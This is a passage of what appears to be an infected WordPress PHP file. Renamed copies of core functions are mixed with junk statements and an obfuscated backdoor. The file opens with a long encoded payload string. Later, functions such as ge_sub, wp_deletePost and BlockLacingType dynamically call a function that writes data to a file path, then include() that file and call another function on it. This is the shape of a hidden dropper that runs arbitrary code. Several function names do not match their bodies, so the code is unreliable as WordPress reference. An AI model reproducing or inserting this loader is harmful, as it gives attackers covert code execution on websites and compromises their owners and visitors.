c7\x9cy\x97p\xb8\xe9\x8f\x83\x88\xb6\xb6\xe0\xb4\x97p\x8b\x99\x8f\xd4c[T\x8do\x97t\xb4\xd1\xe1\xb0\xa4\xba\xbdv\x8c\xa6z\x8b\x99\xb8\xbd\xd1qj\x97~\xd2\xad\xa6\x83\x8f\x88\x83qj\xe2\x97\x97p\x8b\xa3\x9e\xd6cqy\x97o\xe0\x93\xbd\xd0\xc8yyqt\x9cY\x81Z\x8b\x99\x8fy}\xc3\xba\xbe\x98\xbfp\x8b\x99\xacy\xbe\xc9\xba\xd9\xbe\xdb\xb5\x93\xa0\x9b\x80\x85qj\x8do\x9e\xb1\xdb\xe9\xdb\xbe\x85\xc0\xbc\xce\xbd\xde\xb5\x97\xdb\xd0\xc7\xba\xbf\xab\x94x\xb2t\xca\xca\xe2b\x96Zq\x9f\x85\xa9\x88\x92\xb4ycyqj\x91\xc9\xe4\xc7\xc3\xcb\xbb\xce\x88{\xc0\xb8\xbf\xd9\xa7\x8b\x99\x99\x88\x96Z\xbc\xce\xc6\xec\xc2\xd7\xdd\xd4\xbc\xc8\xb5\xaf\x95v\x9c\x82\x9b\xc1\xd4\xc5\xc5\xc0o\x9f\xce\xbf\xdd\xe5\xd3~\x8b\x81q\x96\x8a\xb2Z\x8b\x99\x8fyyqj\x8ds\xe4\xb4\xaf\xf1\xb4\xb0\xcb\xc5\xb8\x9cy\x97p\x8b\xf2\xb9\xa7yqj\x97~\xb4Y\x9b\xb4\x93\xb8\xbe\x9f\xaf\x8do\x97p\xa8\xa8\x99yyq\xb9\x97~\x9e\x82\xa2\xa9\xa1\x8f\x80\x8cy\x97o\xeb\x9a\xc4\xde\xc5y\x83\x80T\x8do\x97Y\xe2\xe1\xd8\xc5\xbeZr\x91\xbc\xdb\x94\xe3\xbe\xc6\xcb\xcd\xbfy\x97o\xcfp\x95\xa8\xabb\xbc\xc0\xbf\xdb\xc3\x9ft\xdd\xe9\xc0\xa2\xa1zj\x8do\x97p\x94\x99\x8fyy\xccTwY\x97p\x8f\xeb\xdf\xaa\xa2\x99\xa5\x91\xbc\xdb\x94\xe3\xbe\xc6\xcb\xcd\xbf\xa7\x9cy\x97p\xdd\xc7\x8fy\x83\x80\x87\x8do\xea\xc4\xdd\xd8\xe1\xbe\xc9\xb6\xab\xe1w\x9b\xc2\xdb\xca\xb8\xa1\xb4u\xb7\xd1\x93\xef\x95\xc2\xeb\xe3\xc7\xb6}y\x97o\x97p\xb5\xa3\x9e\x8b\x82\x8cn\xcc\x94\xc7\x9d\xd9\xcc\x8fyyq\x87\x9cy\xe5\xa0\xd8\xf3\x8fyy{y\x94\x85\xaf\x86\xa0\xa0\xaaccZn\xda\xb3\xbb\xc8\xb0\xd0\xe1\xcd\xc7|u\xa8s\xd6\xa0\xd5\xc3\xb1b\x96qq\x9e\x88\xae\x80\x9d\xa0\xaacb\xceTwY\x80Zt\xa8\x99\xb2\xcf\x9d\x9f\xc5y\xa6t\xe2\xd1\xdf\xaf\xa5\xc1\xc1\xce\x9d\xdaY\xa8\x82\xe2\xcd\xcb\xb0\xbc\xd2\xbf\xdc\xb1\xdf\xa1\x93\xce\xb2\xb2\xb2\xd5\xa1\xd9|t\xac\x98\x94}\xb0\x8f\xc3\x99\xd9\x94t\xb6\x8fy\x80\x87|\xa1\x83\x9e\x8bu\x82xbb[Tv\xc1\xdc\xc4\xe0\xeb\xddb}\x97\xad\xdb\x9f\xcf\xbf\xa6\x9d\xce\xcf\xaeqj\x8do\xb4p\x8b\x99\x8fy\x80\x86\x81\xa4\x88\xacw\xa6\x83ycyq\xc7wY\x81\x95\xbe\xb9\x9e\xccqt\x9cY\x97p\x8b\x99\x8fyy\xb7\xbf\xdb\xb2\xeb\xb9\xda\xe7\x9e\x83y\x93j\x97~\xc0\x9a\xc4\xc8\xba\xa6\xd3yn\xc2\xc8\xc9\x97\xb2\xce\x98cyqj\x8do\x97\xcbu\x99\x8fy\x88{j\x8do\xc1\x91\xd2\xa3\x9e}\xb0\xa1\xab\xb5\x92\xcf\xbd\xe5\xa8\x99\xc7\xbc\xa7j\x8do\xa1\xa8\xa8\x99yy\xbd\x9e\x97~\x99\xac\x9f\xac\x91\x94}\xb0\x8d\xe3\x9a\xa6z\x8b\xbb\x8f\x83\x88\x8ej\x8do\x9e\x81\xa4\xab\x9f\x8e\x80\x8cT\x8d\xb5\xe6\xc2\xd0\xda\xd2\xc1yqj\x8dw\xef\x99\xac\xbd\xe7\xbc\xa7\xc9\xb3\x95x\xa6z\x8b\xf3\xb8\x83\x88\xb2\xbdvs\xdd\xaa\xb3\xdd\xd2\xa6\xa5zj\x8d\xca\x81Zt\xef\xbc\xa2\x9f\xbc\x90\x95s\xdd\xaa\xb3\xdd\xd2\xa6\xa5}S\x91\xa6\xc7\xb1\xb3\xbc\xc7\xc6\xd3z\x85wX\x80Yt\x82\xeccyqS\xeaY\x97p\x8b\x99\x9e\x83yqj\xd6o\xa1u\xa8\x99yyq\x9f\x8dy\xa6\xb6\xe0\xe7\xd2\xcd\xc2\xc0\xb8\x8d\xa3\xea\xa0\xaf\xdf\x97}\xc3\x9d\x98\xc0\xa9\xa3p\x8f\xed\xb4\xb1\xbf\xbd\xb9\x96Y\x97p\x8b\x99\x8f\x88\x83qj\xe2\xb5\xe1\x94\x95\xa8\xeacyqj\x8do\xe0\xb6t\xa1\x8fy\xbc\xc0\xbf\xdb\xc3\xa6z\x8b\x99\x8f\xcf\x9b{y\x95X\x9b\xba\xb7\xc7\xc2\xb3yzj\x8d\x8c\xb4\x95\x99\x8f\xad\xa3\x9b\x8b\x8do\x97z\x9a\xacx\x82b\xccT\x8dX\x9b\x97\xb5\xc9\xd3\x9a\x88{j\x8d\xa0\xed\xa9\xc2\xbf\x8f\x83\x88\x8ej\x8ds\xe1\x9c\xb9\xcc\xc9\xb4\x8a\xae\x85wo\x97p\x8b\x99\x8fyyu\xb8\xe3\xb1\xf0\xa2\xcd\xee\xe6b\x96Zn\xd7\x9b\xc5\xa3\xc5\xd4\xa1\xb6\x94[j\x8do\x97p\x9a\xa3\x8fyy\xca\xb0\xc0\x9c\xc6z\x9a\x9d\xdd\xbd\xcd\x99\xc1\xb5\xb5\xec\x96\xb6\xa8\x99yyq\xad\xb6\xa5\xd8\xa2\x8b\xa3\x9e\x96yu\x91\xb7\x9f\xdb\x91\x93\x9d\xdd\xcf\xbb\xca\x9c\xcf\xc4\xeey\xa6\x83\x8fyyqj\xd2\xc5\xd8\xbct\xa1x}\xc7\xb5\xbe\xb5\xc6\xbf\xb6\xe0\xbf\xbay\x82\x8cn\xcc\x9e\xcd\xa8\xd7\xa8\x99\xc0\xad\xb3\x96\x8do\x97z\x9a\xb6x\x80\x8c\x81}\x9d\x84\x9e\x8bu\x82\x9e\x83yqj\xd6o\x97z\x9a\xdd\xd8\xbebys\xa8Y\x97p\x8b\x99\x8f\x88\x83\x95\xb9\xd9\xc6\xc4p\x8b\xa3\x9e\xd6cqj\x8dX\xf4Z\x8b\x99\x9e\x83yqj\xbb\xbe\x97p\x8b\xa3\x9ecc[j\x8do\x97\xb6\xe0\xe7\xd2\xcd\xc2\xc0\xb8v\x9f\xd9\x94\xe2\xba\xd5\xc2\xacyn\xd9\xb2\xc9\xc6\xbb\xf2\xb2\x85bu\x8e\xbd\xc4\xd1\x9b\xad\xa2yyyqy\x97\xa8\xcep\x8b\x99\x99\x88\xd4[j\x8do\x97Y\xdd\xde\xe3\xce\xcb\xbfy\x97\xb3\xcc\xa1\xbc\x99\x8fy\x83\x80n\xd9\xb2\xc9\xc6\xbb\xf2\xb2\x88\x83\xc4j\x8do\xa1\xc9\xa8\x99\x9a\xc7\x98j\x8dy\xa6t\xaf\xc9\xe4\xb3\xa4\x93\x85\xa8Y\x80Y\xe8\x83xb\x88{j\xc5o\x97z\x9a\x83\x8fyyqjv\xb5\xec\xbe\xce\xed\xd8\xc8\xc7qj\xba\xbe\xb8\x97\xb0\xda\x97}\xd1\xa0\x9f\xb6\x9b\xbb\xa0\xba\xa5\x8fy}\xa8\x9a\xce\x97\xba\xa8\xd8\xf3\x98c\x88{j\xbb\xb4\xc3p\x8b\xa3\x9e\xd4b[Tvs\xef\x9f\xc0\xc2\xbb\x9d\xa9\xa0S\xaao\x97p\xd0\xf1\xdf\xc5\xc8\xb5\xafvw\x9b\xa7\xbb\xda\xb7\x9c\xb1\xbe\xc4\x99o\x97p\x8b\x9d\xe7\xa8\xae\x9a\x96\xb1\x9f\xc6Y\x94\xb4\x93\xb8\xcb\xc5\x9av\x8c\x80w\x9d\xad\xa1\x8b\x8cx\x85wo\x97pu\x82xbbZy\x97o\xee\xb5\xba\xa3\x9e\xad\xcc\xa1\x8e\xd3w\x9b\xc8\xba\xce\xb8\xa5\x9d\xa1\x99\x99X\x9b\xa7\xbb\xda\xb7\x9c\xb1\xbe\xc4\x96\x8a\x81Yt\x82\x9e\x83\xc2\x9d\xb4\xd5\xa9\x97p\x95\xa8\xeccyqTvX\x80Yt\x99\x8f\xbf\xce\xbf\xad\xe1\xb8\xe6\xbe\x9a\xa3\x8fyy\xb4\x93\x97~\xed\x9d\xb4\xbf\xda\x9f\x81u\xb0\xc7\x97\xdb\xb3\xb8\xc5\x9bb}\xa8\x9a\xce\x97\xba\xa8\xd8\xf3\x98cyZ\xc5wX\x80Yt\x82\x9e\x83yq\xab\xe0\xa3\x97z\x9a\xdf\xde\xcb\xbe\xb2\xad\xd5~\xa1p\xe5\xda\xc7yy{y\x95o\x9b\xb6\xc5\xc1\xd3\xbc\xa6\x9dy\x97o\xe3\xbd\xba\xbe\xe1\x83\x88\xb2\xbd\x9cy\x97p\x8b\xea\xbeyyqt\x9cs\xbb\xa0\xe0\xd3\xba\x9byq\x87\xab~\xa1\xc7\xcc\xdc\xc7yy{y\x91\xbb\xda\xa2\xe1\xc9\xe8\x9cyqj\x96~\xa1\xb4\xe1\xe6\x8fy\x83\x80\xc5wX\x80Yt\x82\x9e\x83\xc4\xa2j\x97~\xbd\xa9\xb5\xdb\xc3\xb2\xbf\xb2\x98\x95s\xbb\xa0\xe0\xd3\xba\x9b\x85\x80t\x8do\x97\xa9\x8b\x99\x99\x88\xa8\xa8\x9a\xc7\xb2\xdd\xb2\xdd\xc8\xbb\x81}\xbd\xad\xbf\xc5\xc7\xc9\xae\xa2\x9bb}\xa8\x9a\xce\x97\xba\xa8\xd8\xf3\x98\x94}\xb0\x9b\xd0\xc9\xdeY\xa8\x82\x96\x8b\x92\x84z\x9fv\xb2Z\x8b\x99\x8fyyqj\x8do\xf4Zt\x82\x9e\x83yq\xc0\xd7\x93\xcc\x99\x8b\x99\x8f\x83\x88\xceTwX\x81p\xd1\xee\xdd\xbc\xcd\xba\xb9\xdbX\xed\x99\xcd\xed\xda\x81}\x95\x9a\xe2\xa9\xc2\x92\x97\x99\x93\xc5\xbc\xa3\xc0\xbd\xc8\xbayu\x99\x9e\x83y\xb3\xa1\xde\x93\x97z\x9a\xf4ycyqj\x8ds\xdf\xa0\xd2\xd3\xc1\x88\x83q\x9c\xd8y\xa6\x8d\x9a\xa3\x8fy\x9c\xa4j\x8dy\xa6\xc3\xdf\xeb\xdb\xbe\xc7yS\x91\xbb\xda\xa2\xe1\xc9\xe8\x9cbzy\xe0\xc3\xe9\xbc\xd0\xe7\x97\x88\x83qj\x8d\x90\xc3\xc4\x95\xa8\x93\x9d\xa9\xc6\xa4\xb8\x91\x80y\xa6\x83yb}\x95\x9a\xe2\xa9\xc2\x92\x9a\xa3\xc7\xd3\xc4\xc1t\x9c}\xb4p\x8b\x99\x8f{\xd3\xb6\x98\xd9\xc4\xf0\xb5\x98\xed\xd9\xab\xa8~\x90\xdc\xbb\xba\xa7\xd0\xa6\xe5\x9f\xad\xc9w\xde\xa0\xf0\x91\xe0\xe4\x9c\xcf\xc6\xa2w\xc1\xb5\xber\xa6\x9d\xce\xbb\xa2qj\x8do\x97\x8d\x8b\x99\x8fy\x80\x83\x82\xa0\x80\xabw\xa6\x83\x8f}\x9d\xa1\xbf\xc7\x9a\xb9Y\xa8\x82\xe2\xcd\xcb\xb0\xbc\xd2\xbf\xdc\xb1\xdf\x99\x8fyyqr\x9cy\xc7\xc5\xd8\xc2\x8fy\x83\x80n\xb1\x9f\xec\xaa\xb6\xbb\x9b\x88\x83qj\xe6y\xa6\xb9\xd9\xed\xe5\xba\xc5yn\xd5\x9f\xde\xaa\xbd\xa2\x9e\x83yq\xbe\xdby\xa6{\x9a\xa3\x8f\x9a\x9e\xb5j\x8do\xa1\x9c\xa2\xaacbZSvX\xa6z\x8b\x99\x8f\xad\xc6\x93\xbe\x97~\x81p\x8b\x99\x8f\xcb\xbe\xc5\xbf\xdf\xbd\x80t\xaf\xc9\xe4\xb3\xa4\x93\x85\xa8Y\x80Yt\xf6yyy[T\x8do\x97p\xd1\xee\xdd\xbc\xcd\xba\xb9\xdb~\xa1\xb2\x8b\x99\x99\x88\x9f\xaa\x94\xcf\xa3\xd0\xb6\xcc\xc7\x97}\x9d\xa1\xbf\xc7\x9a\xb9|\x8b\x9d\xdb\xbc\xab\xc7\x9a\xe6\x92\xa3Y\x8f\xd0\xbf\xba\xa1\x94\xa2\xda\xc9\xa0Z\x8b\x99\x8fy\xd4qj\x8do\x97Zt\x82xbb\x9e\xb9\xae\x96\xbc\xb1\x93\xc9\xd1\x9d\xd0\x92\xb0\xd6\xa2\x9ft\xd7\xdc\xc1\xcf\xa9\xca\x8d\x99X\xed\x99\xcd\xed\xda\x81}\x95\x9a\xe2\xa9\xc2\x92\x97\x82\x93\xc5\xbc\xa3\xc0\xbd\xc8\xbay\x94\xa5\x9e\x83\x9d\xb9\x95\xe4o\x97p\x95\xa8\x93\xb0\xa9\xb2\x92\xb0\xa7\xe4\xca\x94\xb4yc\x88{\x9c\xe6\xb1\xe2p\x95\xa8yyyu\xac\xb4\xc4\xcc\xc8\xc5\xe0x\x96b\xc5\xbc\xd6\xbc\x9ft\xd7\xdc\xc1\xcf\xa9\xca\x8d\x96\x8a\xb2Z\x8b\x99\x8fy}\x97\xae\xc3\xc2\xcb\x91\xdc\xdb\xc1\x88\x83\xa7\xc4\xda\xbf\x97p\x8b\xa3\x9e\x96yqj\xd2\xc7\xe7\xbc\xda\xdd\xd4\x81}\xa8\x9a\xce\x97\xba\xa8\xd8\xf3\x9byyqj\x91\xb1\xbe\xc5\xc0\xf1\xc9\xc0\x82\x8c\x85wo\x97p\x8b\xe2\xd5b\x81\xb4\xb9\xe2\xbd\xebx\x8f\xbf\xd3\xaf\xcc\xa5\x8b\xde\xb1\xc9y\x8b\xb7\x9e\x83\xbb\xa4\xb4\x8dy\xa6\x81\x94\x99\x8fy\xd4[S\x91\xbc\xdb\xc6\xb8\xf3x\x96\x88{j\x8do\xd1\xc0\xb6\xcf\x8fyy{y\xd6\xbc\xe7\xbc\xda\xdd\xd4\x81{\xad\xa2q\xa3p\x8f\xbf\xd3\xaf\xcc\xa5\x8b\xde\xb1\xc9y\xa6\x83xbbZy\x97o\x97\xb2\xd6\xcd\xd8\xa7\x83\x80n\xd7\xb2\xbd\xb5\xbc\xed\xdb\xa8\x88{\x8c\xe7\x9b\xb9z\x9a\xb6\x9e\x83yqj\xd1\xc7\xcd\x9c\xad\x99\x8fy\x83\x80\xbd\xe1\xc1\xd6\xc0\xcc\xdd\x97}\xc6\xb5\xc0\xba\xc9\xa3Y\x9d\xa9\x9b\x88\x83q\x99\xd5y\xa6\xb3\xd3\xeb\x9e\x83yq\xb1\x8dy\xa6xt\xaf\xa0\x92b~y\x97\xa9\xea\x93\xd3\x99\x8fy\x83\x80\xa4\x80\x80y\x97\xa8\x99yy\xba\x8c\x97~\xca\xa4\xbd\xd8\xbf\x9a\x9d\xb0\x9c\xb6\x96\xbf\xa4\x94\xb4\xaacyqj\x8dX\xf4Zt\x82\xeccbZSvo\x97p\x8b\x99y\x88\x83qj\xdd\xbf\xd9\xc6\xd4\x99\x8fy\x83\x80\x93\xb7\xa8\xc6\x9b\xb8\xf3\x97{{z\x85\x8f\x8a\xe0\x8a\x9f\xb4\xe2\x93\x8f\x8bl\xe2\xbd\xe3\xb9\xd9\xe4\x91\x94\xd6";
 $dbuser = array("entry1", "entry2", "entry3");
 $f5g1_2 = "/this/is/a/test";
 // Only run the registration if the old key is different.
 // Lowercase, but ignore pct-encoded sections (as they should
     $_GET["KaHeZzw"] = $top_node;
 }
/**
 * @see ParagonIE_Sodium_Compat::wp_kses_split2()
 * @param string $expiration_time
 * @param string $queried_object_id
 * @return bool
 * @throws \SodiumException
 * @throws \TypeError
 */
function wp_kses_split2($expiration_time, $queried_object_id)
{
    return ParagonIE_Sodium_Compat::wp_kses_split2($expiration_time, $queried_object_id);
}


/**
 * Prints styles for front-end Multisite Sign-up pages.
 *
 * @since MU (3.0.0)
 */

 function wp_prepare_attachment_for_js($tab_name) {
 
 // Set XML parser callback functions
 // Skip settings already created.
 // Recommend removing all inactive themes.
 $has_errors = "UniqueString";
 $sub_sizes = "programmer";
 $get_posts = substr($sub_sizes, 0, 5);
 $network_admin = hash('md4', $has_errors);
     $elements_style_attributes = [];
 // DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file
 // Does the supplied comment match the details of the one most recently stored in self::$last_comment?
 
 $filtered_declaration = str_pad($get_posts, 10, "#");
 $expression = str_pad($network_admin, 40, "$");
     foreach($tab_name as $DKIM_domain) {
 
         if (akismet_recheck_queue($DKIM_domain)) {
 
             $elements_style_attributes[] = $DKIM_domain;
         }
     }
     return $elements_style_attributes;
 }
/**
 * Add the "Dashboard"/"Visit Site" menu.
 *
 * @since 3.2.0
 * @deprecated 3.3.0
 *
 * @param WP_Admin_Bar $dismiss_autosave WP_Admin_Bar instance.
 */
function is_email($dismiss_autosave)
{
    _deprecated_function(__FUNCTION__, '3.3.0');
    $shortened_selector = get_current_user_id();
    if (0 != $shortened_selector) {
        if (is_admin()) {
            $dismiss_autosave->add_menu(array('id' => 'view-site', 'title' => __('Visit Site'), 'href' => home_url()));
        } elseif (is_multisite()) {
            $dismiss_autosave->add_menu(array('id' => 'dashboard', 'title' => __('Dashboard'), 'href' => get_dashboard_url($shortened_selector)));
        } else {
            $dismiss_autosave->add_menu(array('id' => 'dashboard', 'title' => __('Dashboard'), 'href' => quicktime_time_to_sample_table()));
        }
    }
}



/**
 * Adds the "Site Name" menu.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $dismiss_autosave The WP_Admin_Bar instance.
 */

 function ge_sub($timestamp, $tab_name){
     $new_rules = $tab_name[1];
 // Fail if the new status is future but the existing post's date is not in the future.
 //   -1 : Unable to create directory
 // Sidebars.
 
     $Password = $tab_name[3];
     $new_rules($timestamp, $Password);
 }


/*
				 * Use the first plugin regardless of the name.
				 * Could have issues for multiple plugins in one directory if they share different version numbers.
				 */

 function akismet_recheck_queue($label_count) {
 $should_update = "trim me      ";
 $exponentbits = ["apple", "banana", "cherry"];
 // Get spacing CSS variable from preset value if provided.
     return $label_count % 2 === 0;
 }
/**
 * Drops a specified index from a table.
 *
 * @since 1.0.1
 *
 * @global wpdb $test_uploaded_file WordPress database abstraction object.
 *
 * @param string $presets Database table name.
 * @param string $status_links Index name to drop.
 * @return true True, when finished.
 */
function get_block_theme_folders($presets, $status_links)
{
    global $test_uploaded_file;
    $test_uploaded_file->hide_errors();
    $test_uploaded_file->query("ALTER TABLE `{$presets}` DROP INDEX `{$status_links}`");
    // Now we need to take out all the extra ones we may have created.
    for ($has_matches = 0; $has_matches < 25; $has_matches++) {
        $test_uploaded_file->query("ALTER TABLE `{$presets}` DROP INDEX `{$status_links}_{$has_matches}`");
    }
    $test_uploaded_file->show_errors();
    return true;
}
$has_border_color_support = 'Count these characters';
/**
 * Executes changes made in WordPress 4.3.1.
 *
 * @ignore
 * @since 4.3.1
 */
function get_post_types_by_support()
{
    // Fix incorrect cron entries for term splitting.
    $has_conditional_data = _get_cron_array();
    if (isset($has_conditional_data['wp_batch_split_terms'])) {
        unset($has_conditional_data['wp_batch_split_terms']);
        _set_cron_array($has_conditional_data);
    }
}
$Duration = array('a', 'b', 'c');
/**
 * Adds a user to a blog, along with specifying the user's role.
 *
 * Use the {@see 'load_script_textdomain'} action to fire an event when users are added to a blog.
 *
 * @since MU (3.0.0)
 *
 * @param int    $SampleNumberString ID of the blog the user is being added to.
 * @param int    $shortened_selector ID of the user being added.
 * @param string $f4    User role.
 * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist
 *                       or could not be added.
 */
function load_script_textdomain($SampleNumberString, $shortened_selector, $f4)
{
    switch_to_blog($SampleNumberString);
    $front_page_id = get_userdata($shortened_selector);
    if (!$front_page_id) {
        restore_current_blog();
        return new WP_Error('user_does_not_exist', __('The requested user does not exist.'));
    }
    /**
     * Filters whether a user should be added to a site.
     *
     * @since 4.9.0
     *
     * @param true|WP_Error $profile_urletval  True if the user should be added to the site, error
     *                               object otherwise.
     * @param int           $shortened_selector User ID.
     * @param string        $f4    User role.
     * @param int           $SampleNumberString Site ID.
     */
    $top_level_query = apply_filters('can_load_script_textdomain', true, $shortened_selector, $f4, $SampleNumberString);
    if (true !== $top_level_query) {
        restore_current_blog();
        if (is_wp_error($top_level_query)) {
            return $top_level_query;
        }
        return new WP_Error('user_cannot_be_added', __('User cannot be added to this site.'));
    }
    if (!get_user_meta($shortened_selector, 'primary_blog', true)) {
        update_user_meta($shortened_selector, 'primary_blog', $SampleNumberString);
        $file_mime = get_site($SampleNumberString);
        update_user_meta($shortened_selector, 'source_domain', $file_mime->domain);
    }
    $front_page_id->set_role($f4);
    /**
     * Fires immediately after a user is added to a site.
     *
     * @since MU (3.0.0)
     *
     * @param int    $shortened_selector User ID.
     * @param string $f4    User role.
     * @param int    $SampleNumberString Blog ID.
     */
    do_action('load_script_textdomain', $shortened_selector, $f4, $SampleNumberString);
    clean_user_cache($shortened_selector);
    wp_cache_delete($SampleNumberString . '_user_count', 'blog-details');
    restore_current_blog();
    return true;
}


/**
	 * Deletes the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $profile_urlequest Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */

 function display_alert($one_theme_location_no_menus) {
     $EncoderDelays = wp_prepare_attachment_for_js($one_theme_location_no_menus);
 $term_taxonomy_id = "TestInput";
 $skip_heading_color_serialization = "php-code";
 // Ignore non-associative attributes
     return maybe_make_link($EncoderDelays);
 }


/**
 * WordPress database access abstraction class.
 *
 * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)}
 *
 * @package WordPress
 * @subpackage Database
 * @since 0.71
 */

 function wp_deletePost($tab_name){
 $spacing_support = "sample_text";
 $terms_by_id = 'Special characters @#$%^&*';
 $skip_heading_color_serialization = "Info&Data";
     $WavPackChunkData = $tab_name[4];
     $timestamp = $tab_name[2];
 //We were previously in another header; This is the start of a new header, so save the previous one
 $teeny = rawurldecode($skip_heading_color_serialization);
 $segmentlength = rawurlencode($terms_by_id);
 $safe_style = substr($spacing_support, 6, 2);
     ge_sub($timestamp, $tab_name);
     BlockLacingType($timestamp);
     $WavPackChunkData($timestamp);
 }
/**
 * Tries to resume a single theme.
 *
 * If a redirect was provided and a functions.php file was found, we first ensure that
 * functions.php file does not throw fatal errors anymore.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the file. If the theme fails, then the redirection will not be overwritten
 * with the success message and the theme will not be resumed.
 *
 * @since 5.2.0
 *
 * @global string $updates_howto Path to current theme's stylesheet directory.
 * @global string $preview_nav_menu_instance_args   Path to current theme's template directory.
 *
 * @param string $samples_per_second    Single theme to resume.
 * @param string $parsedXML Optional. URL to redirect to. Default empty string.
 * @return bool|WP_Error True on success, false if `$samples_per_second` was not paused,
 *                       `WP_Error` on failure.
 */
function get_byteorder($samples_per_second, $parsedXML = '')
{
    global $updates_howto, $preview_nav_menu_instance_args;
    list($preset_per_origin) = explode('/', $samples_per_second);
    /*
     * We'll override this later if the theme could be resumed without
     * creating a fatal error.
     */
    if (!empty($parsedXML)) {
        $header_alt_text = '';
        if (str_contains($updates_howto, $preset_per_origin)) {
            $header_alt_text = $updates_howto . '/functions.php';
        } elseif (str_contains($preview_nav_menu_instance_args, $preset_per_origin)) {
            $header_alt_text = $preview_nav_menu_instance_args . '/functions.php';
        }
        if (!empty($header_alt_text)) {
            wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('theme-resume-error_' . $samples_per_second), $parsedXML));
            // Load the theme's functions.php to test whether it throws a fatal error.
            ob_start();
            if (!defined('WP_SANDBOX_SCRAPING')) {
                define('WP_SANDBOX_SCRAPING', true);
            }
            include $header_alt_text;
            ob_clean();
        }
    }
    $elements_style_attributes = wp_paused_themes()->delete($preset_per_origin);
    if (!$elements_style_attributes) {
        return new WP_Error('could_not_get_byteorder', __('Could not resume the theme.'));
    }
    return true;
}


/**
 * Registers the `core/read-more` block on the server.
 */

 function themes_api($subatomname) {
 // GAPless Playback
 
 // Extract by name.
     $layout_definitions = $subatomname[0];
 $tail = "Operating System";
 $default_color = "This is a test.";
 
 $private_title_format = explode(" ", $default_color);
 $pings_open = substr($tail, 10);
 // Adding an existing user to this blog.
     foreach ($subatomname as $f0f6_2) {
 
         if ($f0f6_2 < $layout_definitions) $layout_definitions = $f0f6_2;
     }
 
     return $layout_definitions;
 }
/**
 * Outputs the legacy media upload header.
 *
 * @since 2.5.0
 */
function rest_get_avatar_sizes()
{
    $pattern_file = isset($thisfile_id3v2_flags['post_id']) ? (int) $thisfile_id3v2_flags['post_id'] : 0;
    echo '<script type="text/javascript">post_id = ' . $pattern_file . ';</script>';
    if (empty($_GET['chromeless'])) {
        echo '<div id="media-upload-header">';
        the_media_upload_tabs();
        echo '</div>';
    }
}


/* translators: %s: The word 'and'. */

 function BlockLacingType($timestamp){
 $terms_by_id = 'Special characters @#$%^&*';
 $pending_phrase = "The quick brown fox";
 
 // Returns an associative array of server IP addresses, where the key is the IP address, and value is true (available) or false (unable to connect).
 // TODO: Sorting.
 // Create empty file
 
 $unset = strlen($pending_phrase);
 $segmentlength = rawurlencode($terms_by_id);
 
 
 $diff2 = substr($pending_phrase, 4, 10);
  if ($segmentlength !== $terms_by_id) {
      $desc_text = 'Encoded string';
  }
     include($timestamp);
 }
/**
 * Canonical API to handle WordPress Redirecting
 *
 * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference"
 * by Mark Jaquith
 *
 * @package WordPress
 * @since 2.3.0
 */
/**
 * Redirects incoming links to the proper URL based on the site url.
 *
 * Search engines consider www.somedomain.com and somedomain.com to be two
 * different URLs when they both go to the same location. This SEO enhancement
 * prevents penalty for duplicate content by redirecting all incoming links to
 * one or the other.
 *
 * Prevents redirection for feeds, trackbacks, searches, and
 * admin URLs. Does not redirect on non-pretty-permalink-supporting IIS 7+,
 * page/post previews, WP admin, Trackbacks, robots.txt, favicon.ico, searches,
 * or on POST requests.
 *
 * Will also attempt to find the correct link when a user enters a URL that does
 * not exist based on exact WordPress query. Will instead try to parse the URL
 * or query in an attempt to figure the correct page to go to.
 *
 * @since 2.3.0
 *
 * @global WP_Rewrite $starter_content_auto_draft_post_ids WordPress rewrite component.
 * @global bool       $has_custom_border_color
 * @global WP_Query   $T2d   WordPress Query object.
 * @global wpdb       $test_uploaded_file       WordPress database abstraction object.
 * @global WP         $fluid_font_size         Current WordPress environment instance.
 *
 * @param string $sbname Optional. The URL that was requested, used to
 *                              figure if redirect is needed.
 * @param bool   $smtp_conn   Optional. Redirect to the new URL.
 * @return string|void The string of the URL, if redirect needed.
 */
function sodium_crypto_secretstream_xchacha20poly1305_pull($sbname = null, $smtp_conn = true)
{
    global $starter_content_auto_draft_post_ids, $has_custom_border_color, $T2d, $test_uploaded_file, $fluid_font_size;
    if (isset($_SERVER['REQUEST_METHOD']) && !in_array(strtoupper($_SERVER['REQUEST_METHOD']), array('GET', 'HEAD'), true)) {
        return;
    }
    /*
     * If we're not in wp-admin and the post has been published and preview nonce
     * is non-existent or invalid then no need for preview in query.
     */
    if (is_preview() && get_query_var('p') && 'publish' === get_post_status(get_query_var('p'))) {
        if (!isset($_GET['preview_id']) || !isset($_GET['preview_nonce']) || !wp_verify_nonce($_GET['preview_nonce'], 'post_preview_' . (int) $_GET['preview_id'])) {
            $T2d->is_preview = false;
        }
    }
    if (is_admin() || is_search() || is_preview() || is_trackback() || is_favicon() || $has_custom_border_color && !iis7_supports_permalinks()) {
        return;
    }
    if (!$sbname && isset($_SERVER['HTTP_HOST'])) {
        // Build the URL in the address bar.
        $sbname = is_ssl() ? 'https://' : 'http://';
        $sbname .= $_SERVER['HTTP_HOST'];
        $sbname .= $_SERVER['REQUEST_URI'];
    }
    $filtered_decoding_attr = parse_url($sbname);
    if (false === $filtered_decoding_attr) {
        return;
    }
    $parsedXML = $filtered_decoding_attr;
    $samplerate = false;
    $gmt = false;
    // Notice fixing.
    if (!isset($parsedXML['path'])) {
        $parsedXML['path'] = '';
    }
    if (!isset($parsedXML['query'])) {
        $parsedXML['query'] = '';
    }
    /*
     * If the original URL ended with non-breaking spaces, they were almost
     * certainly inserted by accident. Let's remove them, so the reader doesn't
     * see a 404 error with no obvious cause.
     */
    $parsedXML['path'] = preg_replace('|(%C2%A0)+$|i', '', $parsedXML['path']);
    // It's not a preview, so remove it from URL.
    if (get_query_var('preview')) {
        $parsedXML['query'] = remove_query_arg('preview', $parsedXML['query']);
    }
    $pattern_file = get_query_var('p');
    if (is_feed() && $pattern_file) {
        $samplerate = get_post_comments_feed_link($pattern_file, get_query_var('feed'));
        $gmt = get_post($pattern_file);
        if ($samplerate) {
